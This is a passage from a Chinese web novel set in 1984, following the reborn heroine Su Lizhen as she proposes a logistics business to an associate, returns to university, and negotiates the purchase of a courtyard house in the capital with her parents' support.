就苏丽珍呆的这半天时间里,已经看见十来个人从他们要拆除的设施旁穿过,哪怕被她的工人们认真提醒了也是一脸不在意的样子,实在让人头疼。 这会儿的施工安全防护工作普遍十分简单,苏丽珍参观过不少施工现场,除了海市那边几个大型建筑公司比较正规,会在施工区域拉网、道边设置警示牌,好多单位就是简简单单在外面拉个横幅,然后在待拆除的建筑物上写个大大的“拆”字就完事了。 苏丽珍可不想这么糊弄,这是他们“筑梦”公司扬名的关键一战,可不能在这些小事上翻车。 所以她早早安排人先在周围设置了一圈隔离带,上面布置大量警示牌,又专门采购了一批最高规格的安全防护网牢牢把要拆除的区域围住,并叮嘱人每天检查,及时修补破损漏洞,务必把风险降到最低。 虽然成本增加了不少,但效果也很直观,大家人身安全更有保障就不说了,等相关部门的领导们过来视察工作时,都纷纷表扬他们工作态度认真负责,安全防范意识很足。 连一贯喜欢拉着脸的林东方也难得点了点头,算是一次肯定了。 最后是张家屯的养殖基地。经过去年半年的锻炼,如今养殖基地各方面技术已经成熟,相关的经验也累积了不少,预计今年开春后会马上加大投入,继续扩大饲养规模。 按照估计,扩大规模后的鸡鸭产量刚好能覆盖卤味生产线一半的原料需求。 只不过公司现在又添了一条酱香生产线,这个缺口就又退回到原来的比重。 不过苏丽珍并不在意,饭要一口一口吃,尤其是活禽养殖,这本就是个必须求稳的路子,半点急不得。 总之林林总总这些事,一直忙到二月二十七号,当天一早,苏丽珍、苏振东和丁大勇三人就开车赶到工商局办一件大事。 84年2月27日,国家正式颁布了关于允许农民个人或联户购置机动车船和拖拉机经营运输业的若干规定。 所以他们才早早到工商行政管理部门办理登记申请,等通过市里的审查核准后,就可以拿到个人或名下公司准许用车的执照。 有了这个执照,今后他们买车就不再受限制了。 现在苏丽珍的两家公司和一家养殖基地加起来一共有六辆车,都挂在当初卖车的老单位,等办好执照后,这些车就可以过户到公司名下了。 显然得知这个消息的人不少,苏丽珍他们到的时候,办事的部门办公室门前已经排起了队伍,光他们前面就有五、六个人了。 这也从侧面反应了当下人们还是有一定经济实力的。毕竟现在,两个轱辘的自行车就已经是重要家庭财产了,有实力买车的真不是一般人。 虽然是规定正式实施的第一天,但是手续办理过程并不复杂。苏丽珍他们把填好的表格和提前准备好的资料往上一递,对方确认无误后就可以回家等通知了,没什么错漏的话,正常十五天内就能下照。 三人办好手续正准备离开,就跟正好从隔壁领导办公室出来的刘五爷碰了个正着。 “哎呦,大侄女,你们也来办车手续啊?” 苏丽珍也笑着跟对方打了个招呼。 刘五爷瞄了眼那边排着的队伍凑近苏丽珍小声道:“大侄女,你们办没办呢?没办的话,东西给我,我找人给你们办了,不用你们排队。” 说着,朝身后的办公室努了努嘴。 刘五爷干“黑市”起家,手里一直养着跑货的车队,更别说他如今批发公司干的风生水起,运输需求大增,车就更多了。 年前苏丽珍想做活动宣传,手里的车子不够用,就是跟对方开口借的车。 只不过刘五爷也跟她一样,因为之前私人不允许购车,所以他的车也都被挂在一些正式单位名下,一年挂靠费就不少钱。 现在政策放开,他肯定也要来办手续的。 苏丽珍笑道:“谢谢五伯伯,不过我们来得早,已经都办完了。” 刘五爷点头:“那成,我这边一会儿你光荣哥过来交资料,我就不等他了。你们是不是要走?正好,咱一道!” 说是一道儿,其实各自都是开车来的,充其量也就是下楼梯,加上从工商局出来这么一小段距离。 只是刘五爷喜欢跟苏丽珍说话,所以这么一小段路也要搭个伴。 不过这倒合了苏丽珍心意,她正好也有些话想跟对方说。 这会儿,刘五爷正说到手上现有的这批车,其中有几台年头实在太久了,已经不敢出市区了,生怕哪天坏道上,直接散架了!如今可算是没有限制了,等手续下来,他第一件事就是买十台大解放回来。 听听,不愧是刘五爷,一口气就是十台卡车,这怎么也要三、四十万块钱打底了,果真大手笔。 刘五爷的批发公司以经营粮油、副食、生鲜为主,捎带一部分日用百货,标准的规模大,数量多,种类全。 苏丽珍老早就知道他的进货渠道涵盖整个东北地区,往南还有冀省和鲁省的路子,也是因为要经常从外地进货,所以他才会养这么多车。 苏丽珍便顺势问起他这些车队现今最远跑过哪些地方,等听说年前已经跑通了首都及周边,过完年还想往津市那边探探道,心里便有了数。 刘五爷表面大大咧咧,其实心思十分细腻,见她问这个,立时打起了精神:“怎么地,大侄女,你问这个,是不是又有啥想法了?真有啥好点子你直管说,五伯肯定不白用你的!” 苏丽珍谦虚道:“五伯,看您说的,不过是偶然一点小想法而已,能帮上您自然好。我就怕说出来没什么用,白耽误了您工夫。” 刘五爷一听果然有戏,忙不迭道:“哎呀,大侄女,你跟我还外道上了!五伯我老了,本来就不如你们年轻人脑子快,大侄女你又是这世间少有的聪明人,我这是恨不得天天让你给我出主意呢!” 他可惦记着半年前苏丽珍给他出主意开批发公司,让他半年时间狠赚了一笔,人脉也更广了。 只可惜家里小儿子年纪太小,要不然这么聪明的女娃娃高低得娶回来当自家人。 他一边不无遗憾地想着,一边催促起苏丽珍来:“好孩子,快别抻着你五伯了,赶快说吧!” 苏丽珍也就不再卖关子,说起自己的想法。 其实她的想法很简单,就是建议刘五爷再开辟一项物流配送业务。 刘五爷的车队每次去外地拉货,一来一回,只有回来的时候是满车状态,虽然批发公司的盈利完全能够覆盖这一个来回的全部费用,但去时的空车状态还是一种资源浪费。 加上按照苏丽珍所知,刘五爷在那些进货地也都设置了驻点。毕竟有些货物他不是一次就能凑齐一车拉走的,好些商品需要刘五爷的人一点点往上收,积少成多。 所以为了方便收购工作,刘五爷就在这些常去的城市设立相应的办事地点。 既然有车、有人、有驻点,更有已经跑熟了的交通路线,那顺势开展个物流业务实在再合适不过。 尤其是刘五爷掌握的这些运输路线。要知道尽管去年开始严打,治安情况已经有所改善,但跑长途运输仍然是个危险职业,拦车劫道还真不是随便说说的。 而刘五爷的车常年在这些线路上跑,他的人本身就不是善茬,又有经年的积威,就算真有动歪心思的人也得掂量掂量。 所以相比一切需要从头开始摸索的人来说,刘五爷天然占据了得天独厚的优势,再没比他更合适的了。 而苏丽珍给刘五爷提这个建议,更多也是出于对自家的考虑。 第204章 这段时间,她主导谈成了十几笔加盟业务,现在省内每一个城市都保底有一家出售“珍珍”食品的国营商店,和一个由个人t代理的加盟店。 只是按约定,不管是对公、还是对个人,都需要公司这边负责运输送货这一项。 时下最常用的大宗运输方式就是走铁路,也就是大伙儿常说的“装车皮”。 这种方式运费低,速度也不算慢,要是赶上直达站点还很方便。 但是它缺点也很明显,一个是需要等铁路部门统一调配,什么时候凑够一个车皮,什么时候才能发车。 要是运气不好,往某地站点发货的车皮迟迟凑不满,等个三、五天也是常有的事。 他们毕竟是做熟食产品的,真空包装也不是万能的,现在气温低的时候还好说,一旦天气转暖,运输环境简陋加上时间不确定这些弊端造成的风险实在不小。 再有,铁路运输的灵活性也比较差,如果所到之地不通火车,便只能就近站点卸货,然后再另外雇车,有时候人生地不熟的,反而麻烦。 除了铁路运输,再就是公路运输。 这种运输方式灵活、快捷,显然最适合她家的产品。 只是近边的城市还好,像省内一些偏远地区单次车程就要六、七个小时,一来一回不吃不喝也要十几个小时,人力、物力各方面加在一起,成本直线上升。 而这还仅限于本省范围,以及苏丽珍暂时只在一座城市设一个代理商的前提。 所以如果她不想今后一直背负运输成本这一块,就势必要找一家可靠的物流公司。 只是放眼当下,尽管凤城近两年涌现了一批私营商户,经营范围多种多样,称得上百花齐放,但偏偏物流这个行业还是一片空白。 不过这可能也跟之前私人购置机动车受限的规定有关,如今限制放开,也许很快就会有第一个“吃螃蟹”的人。 但是苏丽珍等不了,所以她只能把目光放在先天条件甩过别人几条街的刘五爷身上,希望说动对方考虑一下这个行业。 而刘五爷不亏是叱咤“黑市”多年的人物,果然对商机不是一般的敏锐。 苏丽珍才说了几句,他就目光大亮,显然已经领会了这其中的好处。 到最后,他更是连连拍着巴掌,对苏丽珍赞不绝口道:“妙,实在是妙!大侄女,你这脑袋瓜真是绝了,这样赚钱的法子都能让你想到!” 他一高兴,就拽住苏丽珍三人,也不管现在才半上午的时间,非要请他们去吃顿饭,一方面表达一下自己的谢意,顺便再好好讨论讨论这个物流公司的事。 可惜苏丽珍这边马上要开学了,加上两家公司里还有不少事,她是真没多少时间。得亏今年刚好赶上一个闰年,中间多出一天,要不然时间更紧了。 而且在她看来,现阶段的物流公司就是围着配送、调度这些事情来,已经干了这么多年“黑市”的刘五爷自己就是权威,她能做的不过是帮着捅破这层“窗户纸”,其他实在可有可无。 最终还是婉拒了对方的邀请。 “那好吧,我也知道大侄女你事情多,看来只能等下次了。” 刘五爷摸了摸自己锃光瓦亮的大脑袋,脸上露出遗憾的表情。 直到临分别之际,他又对苏丽珍道:“咱这饭虽说先吃不上,但是大侄女你放心,等我这送货的公司开起来,你们公司今后要有啥需要运送的,你全交给我!伯伯到时候一准给你办的明明白白,还不收你钱!” 苏丽珍便笑眯眯点头:“我相信五伯伯肯定能办到,我也期待我们‘珍珍’能成为您新公司的第一个客户!” 不给钱是不可能的,但是有对方这句话,就远比吃饭强多了。 苏丽珍几乎是踩着报道的最后期限赶到学校,等她到时,室友们早就到齐了,差不多就等她一人。 一个寒假不见,女孩们彼此正亲香,所以苏丽珍一到寝室立即受到了大家的热情问候。 先用室友们帮忙打的热水洗了脸,又喝了杯热腾腾的奶粉,苏丽珍直觉身上的疲乏瞬间一扫而空。 见苏丽珍没有休息的意思,大家又像放假前一样,围坐在方桌前说话。 这一个假期,管明月和吕新芳都瘦了不少,但精气神儿却格外好。 尤其吕新芳,不知道是不是长久以来压在心头的重担被卸下,整个人变得更加从容,加上她本就坚韧内敛的性子,越发衬得如今的她大气又干练。 其他人,陈红梅没什么变化,倒是刘思彤和万美君,过个年直接胖了一圈,一下就成了室友们的重点关注对象。 直肠子的管明月就忍不住嚷嚷起来:“我说你们两个,放假前一个说要去当家教,一个说要去学化妆和服饰搭配,这是怎么弄的,反倒把自己忙活得圆了一圈!” “虽说我觉得你们这样也挺好看的,但是你们之前不是一直嫌自己腰粗穿裙子不好看?你看现在都三月份了,离穿裙子的日子可不远了。” 说着,又把两只手伸向旁边苏丽珍的腰间,“你们这可不行啊,看看咱小六这腰……” 进入三月,首都虽然有些倒春寒,但是总体气温还是比东北强。苏丽珍今天穿了一件薄呢大衣,内搭一件贴身的米白色高领羊绒衫。因为她发育的时间比较早,加上重生后注意保持体态,所以身材一直凹凸有致,该瘦的地方多一丝赘肉也没有。现在身上这件紧身羊绒衫更是衬得她曲线玲珑,纤腰楚楚。 管明月两只手一探到她腰际,捏了几下就忍不住直抽气:“嘶,我说六啊,你这腰怎么比放假前还细了?你说你在家过年是不是天天吃空气、喝自来水啊?” 苏丽珍忍不住白了她一样,一边将她放在自己腰上的爪子拍掉,一边道:“你们也知道我家里做熟食产品,过年这段时间正好赶上旺季,有时候忙起来就顾不上吃饭。” 她一直没跟室友们说家里公司的具体情况,一开始是觉得彼此陌生,不愿透露太多。后来熟稔了,又不好意思主动去提。 主要是几个室友们也特别有分寸,一直是出于礼貌的前提,只对各自的家庭情况有个大致了解。 比如陈红梅和苏丽珍,是整个宿舍家境最富裕的人。管明月、刘思彤和万美君三个差不多,都是家里父母在大厂里任中层干部,属于最符合时下人心理,既有社会地位、又不愁吃穿的家庭。 这其中,也有当初照顾吕新芳情绪的缘故,反正几个家境不俗的姑娘,谁也没大肆谈论过自家条件,更没有刨根问底去打听别人过。 现在,室友们还不知道苏丽珍家有两家规模不小的公司,而且还是她自己一手创办的。 她自己一时也不知道怎么开这个口,不过她也不急,毕竟这才大一,以后总有机会慢慢透露给大家。 这会儿说到吃的,苏丽珍顺势就把出发前李翠英亲自做的一大包卤味和熏味拿出来,给室友们分享。 上个学期,苏振东每次给他寄公司文件的时候都会顺道给她寄一大箱公司生产的熟食,后来苏丽珍跟室友们关系处的不错,就把这些熟食带到寝室,分给大家,结果自然是受到一致好评。 这次的熟食是经由李翠英亲自卤制,味道到底比流水线产品更胜一筹,直接把大家香得不行。连上一秒还嚷嚷着要节食减肥的刘思彤和万美君也早把之前的“雄心壮志”抛到脑后,一手卤鸡腿、一手熏香肠,吃得眼睛都眯成一条线。 品尝了美味的食物,又一起说笑玩闹了一会儿,大家惦记苏丽珍坐了一天火车,纷纷劝她先上床休息,反正都开学了,说话的机会有的是。 苏丽珍也知道大家的好意,爬上室友们给提早打扫过一遍的上铺,一会儿就睡着了。 等再睁眼的时候,外面太阳已经快要落山了,苏丽珍睡了小半天,这会儿倒想运动运动,就端起洗衣盆,打算把换下来的脏衣服洗了。 结果衣服刚洗上,吕新芳就找来了。 “珍珍,我这边有个事想跟你说一声。” 苏丽珍以为她遇到什么麻烦了,忙放下手里的衣服:“芳姐,你有什么事直管说。” 吕新芳看她郑重的态度,不由心里一暖,连忙摆手:“珍珍,你别误会,我要说的不是我的事!” 怕苏丽珍担心,她赶紧解释起来:“是这么回事,李奶奶这回帮我们找的这家房子,房东最近好像要出国。我昨天无意间听到他们商量,似乎想把现在的房子卖掉凑钱。” “我记得你以前好像说过有在首都买房子的打算,我看他家这套小院就很不错,所以想先把这消息告诉你一声,免得t你错过。” 这个消息让苏丽珍十分惊喜,她忙道:“谢谢你,芳姐,我的确有这个打算。只是这边的房子很难买,你这消息真的帮了我大忙。” 都知道天子脚下是宝地,所以哪怕现在不少人单位分房子,但是家里的祖宅也轻易不舍得动,都想着将来水涨船高,坐等升值。 这也就导致苏丽珍这样的外地人即便手里捏着钞票,也总是找不到合适的卖家。 吕新芳见她高兴,自己也忍不住弯起唇角,继续道:“这房子真挺不错的,一进的小院,虽然照比其他四合院小了点,但胜在保存的好,干净整洁。而且正房的家具还是红木的,如果我们房东真是急等着出国,这些东西一时半会儿肯定不好处理,说不定加些钱就能留下。到时样样齐全,买了房子就能直接入住,一点不费事。” 苏丽珍听着越发觉得不错,又问道:“芳姐,现在有来看房的人吗?” 除非吕新芳的房东要价太高,要不然这房子听着确实不愁卖,只要消息放出去,来看房的人肯定不少。 一想到这,她还有些可惜,今天赶着报道最后的期限回来,到学校的时候都快中午了,时间太紧,要不然高低得出去看一眼。 好在吕新芳告诉了她一个好消息。 “没有,起码到今天早上,还没来过人。他们家情况比较特殊,原房主是一对老夫妻,前些年下放到乡下遭了不少罪,平反回来没几年就前后脚离世了。” “剩下一个独生女,我听说是正赶上单位这批出国深造的名额,被她争取到以后,她就想把丈夫和孩子也一起带过去。只是她丈夫舍不得这边的亲戚朋友,跟她一块走的意愿并不坚定,所以这事就有点卡住了。” “不过他们夫妻平时感情很好,她丈夫很在意她,大多时候对她言听计从,所以我觉得这人最后未必能拧得过她,房子十有八、九还是会卖。而且她是公派出国,时间有限,不能总这么含糊着,我看这事一、两天内肯定有说法。” 苏丽珍不禁心中一喜,如果是这样,那她的机会就大多了。 毕竟对方急等出国,肯定不会狮子大开口,她也没打算趁机落井下石,双方都有意愿的话,事情就会顺利很多。 事实也果真如她所料,第二天下午只有一堂课,她下了课就匆匆跟吕新芳出校,来到对方租住的地方。 赶巧,她还没跟头次见面的吕新芳大伯娘说上几句话,房主就过来了。 原来房主已经说服了丈夫,月底全家一起出国。这期间,她必须先把房子卖掉换钱,好给丈夫和儿子办理出国手续,所以她先来通知吕新芳一声,让她们尽快找房子。 吕新芳和她大伯娘到今天刚好在这里住了半个月,按照之前的约定交了一个月房租加一个月的押金。 房主知道这次是自家理亏,加上有街坊李奶奶的缘故,所以只收了她们十天的房租,剩下的房租和押金都如数退回。而且还说好截止到她把房子卖掉前,吕新芳和她大伯娘都可以住在这儿,她也不要钱了,她们得空帮着收拾收拾院子就行。 苏丽珍这趟正赶上房主准备把卖房的消息挂出去,自然是第一时间先把人拦住,直接提出买房的意愿。 这个房主姓吴,年纪不算大,今年刚好三十岁。苏丽珍随着吕新芳一起叫她吴姐。 “吴姐,能不能带我先看看房子?” 第205章 大概是苏丽珍的衣着不俗,加上她本人又白净有气质,所以吴姐倒也没因为她看着太过年轻而有所怀疑。 只是一边领着她看房子,一边打听她的情况。等听说苏丽珍就是隔壁兴华胡同有名的苏大厨的干孙女,现在就住在那边,算得上知根知底后,她态度便热络了几分。 打消了对方的顾虑后,苏丽珍也专心看起了这套小院。 院子是首都这边标准的四合院。正房三间带两间耳房,东、西厢房各两间,北面原本一溜的倒座房据说因为当初霸占这里的人嫌挡光、又占地方,就拆除了两间,如今只剩一间半。吕新芳和她大伯娘就是租住的这里。 倒座房拆掉两间,建筑面积少了一部分,但是院子却放出了一块,确实是肉眼可见地亮堂了不少,倒是更符合苏丽珍的喜好。 而且当初霸占这里的人是个小头头,所以只带着自家人住在这里,小院也因此保存得不错,不像其他院子,动辄至少四、五户人家挤在一起,把好好的房子糟蹋得不像样。 因为之前吕新芳提过吴家的家具都很好,所以看房的时候她特地留意了一下,发现屋子里配套的家具确实用料讲究,做工也堪称精湛。只可惜由于长期疏于保养维护,色泽都明显黯淡了,而且不管主屋、还是厢房,大多数家具表面上都有不同程度的划痕,最严重的两张桌椅还有开裂的情况,大大拉低了整套家具的美感和价值。 不过她曾听沈老爷子说过,像这种好木料做的家具过去有人专门修复,如果她能留下一套、半套的,到时候可以请专业的人来处理。 看完了房子,见苏丽珍确实有购买意向,吴姐就把这套小院的房本拿出来给她看。 房本上清晰地标注了这套房子建筑面积196平,整体占地368平。 吴姐直接报价一万三千五。 这要价还算合理,没太大水分,但苏丽珍觉得还能往下谈一谈。 她年前听李奶奶说过,去年刚入冬的时候,有人花了两万六买下了故宫旁边一套二进的四合院。 那院子光建筑面积就接近四百平,占地足有六百平,而且因为紧挨故宫,地理位置和居住环境都极其优越。这还不算,那院子底下甚至还有两间面积很大的地下室,保存得也十分好,听说住人都不成问题。 苏丽珍当时听完特别羡慕,不说房子大小,只说地理位置这一项就值这个价了,那样的黄金地段,哪怕让她出三万,她都乐意。 可惜这样的好房源,只有本地人才能抢到第一手信息,等真正传出风时,房主都换人了。 所以参考那套四合院的价格,这院子一万三千五还是有点小贵。 她开口讲价:“一万二吧,这院子照比其他的一进院小,而且位置到底是偏了点。” 这可不是她故意找茬,这边本来就比兴华胡同远。即便是兴华胡同也是这种汽车难进的住宅区,但她苏爷爷的家正好在靠近大道的位置,进了胡同用不上两分钟就到地方了。 可这边的话,刚刚她跟吕新芳一起来的时候就默默掐了点,从下马路进胡同开始,起码要走十分钟。而且这边的胡同间距也比兴华胡同的窄,这对如今已经习惯了汽车这种高效率交通工具的她来说,实在是个很大缺点。 吴姐不同意:“但我这房子保存的好,屋顶的瓦片都是新换过的,屋子里也是去年才粉刷过,现在还很新,你基本什么都不用收拾,直接搬进来就能住。这样吧,如果你诚心买,我最多给你让两百块,一万三千三。” 苏丽珍摇头:“吴姐,虽然我不是本地人,但是对本地的房子还是比较了解的,我给你的价已经不低了。相信你应该也找人了解过,对于你们的情况,未必有人比我更有诚意。 吴家是急着出国,所以卖房子换路费,这事根本瞒不住。 毕竟这年头,谁家买房子之前不仔细打听一下? 一旦人家知道他们急于脱手,不趁机压价就不错了。 一听这话,吴姐脸色便有些不太好,因为苏丽珍还真没猜错。 之前她曾找过一个中人打听过,人家一则是嫌她家这院子小,位置也偏,最初估价才一万,把她气得够呛。后来又换人,对方也只是比第一家多出了五百块。 直到昨天,她单位里一个平时跟她关系不错的同事给她牵线,介绍了一个买主,对方出价一万一,如果把家里那些成套的红木家具都留下,对方还肯多出两百。 家里这些红木家具,是她父亲当年一点点攒下来的好木料,后来又请了技术最好的大师傅打造,父亲没出事前年年都要亲自维护保养一番,很是精心。 只是后来父母双双出事,等十年后再回来时,两位老人的身体已经油尽灯枯,即便心疼这些家具被糟蹋得厉害,也没精力再管理。 这套院子加上那些家具,对方总共只肯出一万一千二,她实在不甘心,t这才打算自己再试一试。 也不知道她运气好还是不好,消息还没放出去,就有人上门,但她心里却有一种预感,恐怕今后不会再有出价比这个年轻姑娘更高的人了。 苏丽珍留意着吴姐的神色,只一眼就知道自己八成是说中了,便又道:“吴姐,你看这样,咱们各退一步,我再给你添二百块,你把正房的红木家具给我留下。” 她自然也想把东、西厢房的家具都留下,只是担心自己一口气都提出来,对方会借机加价。这些红木家具虽好,但是毕竟损耗不轻,重新找人修复、保养的费用估计低不了,而且具体能修复到什么程度也不好说,如果代价过高,那就没什么意思了,不如只留一套。 再者,人家自己兴许还有别的打算呢。 如此,她不多要,谈起来也更有余地。 吴姐皱着眉,低头思索了一会儿,最后一咬牙:“你再加三百,一万两千五,我可以把东、西厢房的两套家具也给你。当初我家这几间屋子的家具都是一起打的,两个厢房也跟正房一样,这两套家具算三百,你绝对不亏!” “除此外,我还有一个条件,就是直到月底之前,你都必须答应让我们一家三口继续住在这儿,当然过户手续可以先办。” 苏丽珍只稍加思索,便痛快地点了头:“好,就一万两千五,我也答应你的条件。” 双方谈妥后,苏丽珍待会儿就去最近的邮电大楼给家里挂电话,安排汇款。等两天后,也就是本周五,她会请半天假出来同吴姐办理过户手续。 两人定好时间后,苏丽珍看了眼手表,已经四点多了,再有一个小时,邮电大楼就该下班了。 时间仓促,她匆匆跟吕新芳和她大伯娘打了声招呼就得走了。 吕新芳这边,刚好有几个工人来交活儿,吕新芳看她大伯娘还有点生疏,便留下来帮着一起处理。 两人约好,五点到邮电大楼汇合,然后一起返校。 不过临走前,苏丽珍还不忘叮嘱吕新芳,让她和她大伯娘就安心住着,房租照比现在的一半给就成,只要她们平时帮忙照看一下房子就好。 这和缝纫机不一样,所以她没提不要房租的话,因为她知道吕新芳不会答应,如果她坚持,以对方的性格恐怕会另外找房子。 果然,吕新芳一开始听说她只要一半房租,立即露出不赞同的神色,不过又听苏丽珍说希望她帮忙照看房子,便不禁犹豫起来。 事实上,珍珍帮了她这么多,就算对方不主动提,她住在这里也会好好照看这房子的,只是她怕自己拒绝的话,珍珍会不好意思再找她。 作为室友,吕新芳知道珍珍这学期要开始兼修工商管理的课程。首都大学的学习压力大,一门专业的课程负担就不轻了,更何况是双学位,珍珍今后肯定会更忙。而且赶上周末,对方还要看顾她干爷爷那边的房子。 吕新芳想她别的忙帮不上,如果能在这些力所能及的小事上帮一把,自然也省得对方分心了。 所以她稍一思索,便同意了苏丽珍的话,并在心里暗自保证,今后一定让大伯娘多看顾些,争取不让好朋友操心。 从小院出来,苏丽珍就直奔最近的邮电大楼打电话,排队、填单子,终于赶在对方下班前十分钟拨通了火锅店的电话。 时间紧,她直接长话短说,告诉父母自己在这边看好了一套小四合院,这周五就能办过户手续。 因为苏丽珍也曾表示过想在首都这边买房子的打算,所以家里人对这事也算早有预期,问清了她跟对方定好的具体交易细节后,就叫她赶紧回学校,这边明天就去安排钱的问题。 苏丽珍也没多想,毕竟一万两千块钱虽然不是一笔小数目,但是对如今的苏家来说也不是什么大事。她只以为父母是担心她这会儿在校外逗留太久不安全,所以也没多问,挂了电话,就和吕新芳一起返校了。 事实上,她完全低估了苏卫华夫妻对她在首都买房子这事的热切。 第二天下午,当她上完最后一节课,正准备去图书馆的时候,忽然被刘导员叫住,这才知道,原来是苏卫华和李翠英来学校找她了! 苏丽珍刚听见这事的时候,直接懵住了,过了足足十几秒钟才反应过来,是她爸妈来了! 这个认知又让她的心一下提到了嗓子眼,这会儿她压根没想到是房子的事,只控制不住地想着是不是家里出了什么事,要不然好端端的,怎么父母会突然过来。 一路心慌意乱地跟着刘导员到了他办公室,眼见那一对风尘仆仆,但一看见她就不自觉露出笑容的两人,不是她最在乎的父母,还能是谁! 看着两人明亮又盛满宠爱的笑眼,她那怦怦乱跳的心总算平静了下来。 “爸、妈,你们怎么来了?” 闺女进门时那惊慌的眼神没逃过夫妻俩的眼睛,李翠英表面不动声色,却在闺女的导员去给他们倒水的工夫,忍不住偏头狠狠瞪了苏卫华一眼,然后看向苏丽珍的时候又换成温柔的笑脸:“是你姥姥家这边的一个亲戚家里有点事,妈就过来一趟。你爸不放心,跟我一块过来的。” 确定家里没事,苏丽珍的理智也迅速回笼。她姥姥家里早就没什么亲人了,更何况还是在首都这边,所以她第一时间就知道她妈是故意说谎,目的是掩盖他们这次来的真实意图。 她一下就反应过来,是昨天那通电话的缘故! 看来是爸妈好奇她要买的房子,所以决定亲自走这一趟。 现在两人身上揣着一大笔巨款,又是人生地不熟的,难怪要说谎。 她立马配合道:“原来是这么回事,那我也跟着去看看吧,说不定能帮点忙。” 夫妻俩自然不会反对。 临走时,苏卫华又从包袱里拿出一大包山货塞给刘导员。 “老师,我知道你们有规定,但是我家这就是一些山货,山上捡来的,不花钱,您就尝个新鲜。万一尝好了,哪天也带着家人朋友到我们东北溜达溜达,您就当我为家乡做宣传了。” 这番话一下把刘导员逗笑了,最后还真收下了。 这也让苏丽珍更加对她爸刮目相看。 她现在时常会没办法把这一世的爸爸和上辈子的爸爸联系在一起,两个人无论是精神面貌还是言谈举止都有很大不同,甚至气质都完全不一样了。 两世的爸爸,她都爱,只是上辈子醒悟得太晚,来不及让他成为现在这样积极、昂扬,每天都乐呵呵的快乐父亲。 苏丽珍托同学帮忙给室友带了个话,然后就送苏卫华和李翠英先去兴华胡同的苏家落脚。 这一路上因为都是公共场合,他们也没说太多。 等到了地方,房门一关,李翠英第一件事就是照着苏卫华的手臂狠狠拧了一把:“我就说不让你这么着急,先提前跟孩子说一声,你不干,非要这么急火火跑来,这不诚心让孩子着急吗!” 原来夫妻俩昨天下午接到苏丽珍的电话后,苏卫华就坐不住了,死活非要过来一趟,而且是一天都不愿意多等,赶昨晚八点多的火车,连夜就来了。 苏卫华也知道这次主要问题在自己,也不敢反驳,只朝着妻女露出讨好的笑容,又对苏丽珍道:“闺女啊,对不住,这次是爸心急了!我这不是一想到咱家马上要在首都有一套自己的房子,这心里就像火烧起来一样,实在是呆不住了。” 苏丽珍能怎么办,反正人来都来了。 而且能让爸妈第一时间亲自看看那套院子,她心底也是高兴的。 看时间还早,苏丽珍决定先带父母去吴家看看房子,顺便问问吴姐方不方便提前一天交易,早定下来也早安心。 到了吴家,吴姐刚好明天上午有时间,就一口就答应了下来。对她来说,这院子既然要卖,那早一天、晚一天也没什么差别,反正苏丽珍已经答应让他们一家住到月底了。 苏卫华夫妻第一眼就相中了这院子,在吴家的时候没好意思多说,等一回到苏家,夫妻俩就忍不住了,满脸的激动和兴奋,这个说屋子宽敞亮堂格局好,那个说房屋院落家具全。反正哪儿哪儿都可心,就没有一处不好的。 末了,夫妻俩又一致夸赞起自家闺女有眼光,定下这么一套院子,连带那好木料的家具都有了,今后肯定能升值。 苏丽珍听得哭笑不得,这套院子优点确实不少,但也不是没有缺点,单地理位t置这一项就是个大毛病。不过这世上没有十全十美,反正在她这里,花一万二千多块钱买下这院子算得上物有所值了—— 作者有话说:国庆节快乐! 第206章 第二天,苏丽珍请了半天假出来办手续。两家各自请了一个见证人,苏丽珍这边请的是李奶奶,吴姐也找了相熟的老街坊,双方草拟了一份合同,买卖双方、连同两个见证人一起签了字,苏丽珍先支付了一万块钱。 然后双方又去房管所办理正式过户手续。 吴姐刚好有认识人,所以没怎么费劲就把手续办完了,苏丽珍就把剩下的两千五百块也给了对方。 至此,交易完成。 看着房本上簇新的苏丽珍的名字,苏家一家三口都忍不住露出了笑容。 房子过完了户,因为之前答应吴家人可以继续住到月底,所以苏卫华夫妻尽管有心想再去看看,也没好意思多去,好像是撵人家似的。反正以后日子还长着,有的是机会。 而且他们出来的急,火锅店暂时交给了苏厚德顶着,夫妻俩也担心把老爷子累个好歹,两人一商量,还是决定明天就回去。 夫妻俩当天抓紧时间先把苏厚德的几个老街坊探望了一遍,到晚上又让苏丽珍把室友们叫出来,连同吕新芳的大伯娘一起,吃了顿饭。 吕新芳大伯娘起初不好意思来,还是苏丽珍和李翠英亲自上门,才把人带出来。 吕新芳的大伯娘也是个实在人,本来想着中途悄悄去结账,没想到苏卫华那边点完菜就直接把钱付了。 她心里不好意思,听说苏卫华夫妻坐明早八点的火车回去,第二天一大早就去早市买肉,忙活了一早晨,紧赶慢赶蒸了一大锅饺子给送了过来。 剩下的又让苏丽珍带回学校,跟室友们分着吃,自己一个都没舍得留。 李翠英捧着热乎乎、沉甸甸的饭盒,忍不住跟苏丽珍感慨:“是个有心人。昨天咱们去她屋里,我看她那灶台上只有杂面饼子和咸菜,平时大概一点油腥都舍不得沾……珍珍,有能力,你就多帮一把,都是撇家舍业出来的,都不容易。” 苏丽珍认真点了点头。 七点半,苏丽珍把苏卫华夫妻准时送到火车站,然后就被父母催促着赶快回学校。 她第一节课上课时间刚好是八点,时间确实不太充裕,所以她只好再三叮嘱父母照顾好自己,然后才一步三回头地登上了回学校的公交车。 下了公交车,还有六分钟到八点,她忍不住小跑起来。 经过门卫室时,刚好有个门卫准备关闭大门,苏丽珍一抬头,这还是个熟人,正是上学期帮忙送吕新芳去医院的人。 他显然也认识苏丽珍,看她一路小跑,也下意识看了眼手表,然后笑眯眯鼓劲道:“加油,同学,时间还够!” “谢谢叔叔!” 苏丽珍飞快回了一句,便继续加快脚步往经管系的教学楼跑。 这会儿校园里已经看不到什么人了,早春清晨的太阳温暖柔和,安静的水泥甬路上此时只有她一个人在奔跑,所过之处偶尔惊飞几只停留在路边花木新枝上的小鸟,耳边便响起一阵轻微的振翅声。 也许是快速的跑动导致大脑缺氧,眼前的场景让她忍不住神情恍惚,熟悉又陌生的既视感甚至把她的思绪带回前世的记忆,叫她不自觉地寻找过去的自己是否在某年某个春天的清晨,也有过这样的奔跑。 可惜不知道是不是重生的时间久了,这一世的一切又和前世差别太大,那些无关紧要的记忆都已经模糊。 所以她没能找到与此时此刻相似的回忆。 这个认知又让她有些迷茫,在这短短的一瞬间,她竟然有些分不清哪个是前世,哪个是今生。所有这一切就像一场梦,或许梦醒来,又是另外一番模样…… “珍珍!” 就在这时,前方一声呼喊犹如拨云见日一般,刹那间拂去她的迷茫,让她思绪骤然回笼,顷刻间反应过来身处何地。 